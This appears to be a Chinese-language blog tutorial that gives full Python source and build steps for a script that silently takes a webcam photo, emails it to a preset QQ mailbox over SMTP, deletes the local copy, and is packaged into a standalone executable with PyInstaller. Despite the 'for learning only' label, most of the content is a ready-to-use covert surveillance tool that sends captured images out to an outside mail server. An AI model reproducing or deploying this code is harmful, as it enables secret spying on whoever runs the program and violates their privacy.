僅用來學習,希望給你們有提供到學習上的作用,
1.安裝庫
需要安裝python3.5以上版本,在官網下載即可,然后安裝庫opencv-python,安裝方式為打開終端輸入命令列,
2.更改收件人和發件人為自己郵箱,更改授權碼
獲取授權碼的方法:
- 點擊設定
- 點擊賬戶
- 開啟pop3/smtp服務
- 驗證密保
- 獲取到16位授權碼
第一步:

第二步:

第三步:

第四、五步:

3.編譯成可執行檔案
打包方法:
- 先安裝
pyinstaller,在終端中輸入pip install pyinstaller, - 找路徑,用cd法找路徑比較麻煩,可以直接在路徑框里面輸入
cmd進入終端即可,進入了就是目標路徑,

打包,輸入命令列
pyinstaller --console --onefile 7.py //這里打包的是一個叫7.py的檔案

在dist檔案夾里面即可找到可執行檔案,

4.原始碼與注釋
import os # 洗掉圖片檔案
import cv2 # 呼叫攝像頭拍攝照片
from smtplib import SMTP_SSL # SSL加密的 傳輸協議
from email.mime.text import MIMEText # 構建郵件文本
from email.mime.multipart import MIMEMultipart # 構建郵件體
from email.header import Header # 發送內容
# 呼叫攝像頭拍攝照片
def get_photo():
cap = cv2.VideoCapture(0) # 開啟攝像頭
f, frame = cap.read() # 將攝像頭中的一幀圖片資料保存
cv2.imwrite('image.jpg', frame) # 將圖片保存為本地檔案
cap.release() # 關閉攝像頭
# 把圖片檔案發送到我的郵箱
def send_message():
# 選擇QQ郵箱發送照片
host_server = 'smtp.qq.com' # QQ郵箱smtp服務器
pwd = '****************' # 授權碼
from_qq_mail = 'QQ@qq.com' # 發件人
to_qq_mail = 'QQ@qq.com' # 收件人
msg = MIMEMultipart() # 創建一封帶附件的郵件
msg['Subject'] = Header('攝像頭照片', 'UTF-8') # 訊息主題
msg['From'] = from_qq_mail # 發件人
msg['To'] = Header("YH", 'UTF-8') # 收件人
msg.attach(MIMEText("照片", 'html', 'UTF-8')) # 添加郵件文本資訊
# 加載附件到郵箱中 SSL 方式 加密
image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')
image["Content-Type"] = 'image/jpeg' # 附件格式為圖片的加密資料
msg.attach(image) # 附件添加
# 開始發送郵件
smtp = SMTP_SSL(host_server) # 鏈接服務器
smtp .login(from_qq_mail, pwd) # 登錄郵箱
smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string()) # 發送郵箱
smtp.quit() # 退出
if __name__ == '__main__':
get_photo() # 開啟攝像頭獲取照片
send_message() # 發送照片
os.remove('image.jpg') # 洗掉本地照片
5.效果如下
最后實驗一下,會得到一個bin后綴的附件,把他改成jpg即可查看,

感謝看到這里的你,分享到這里結束了,更多Python精彩內容可以關注我看我主頁,三連~
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/298893.html
標籤:其他
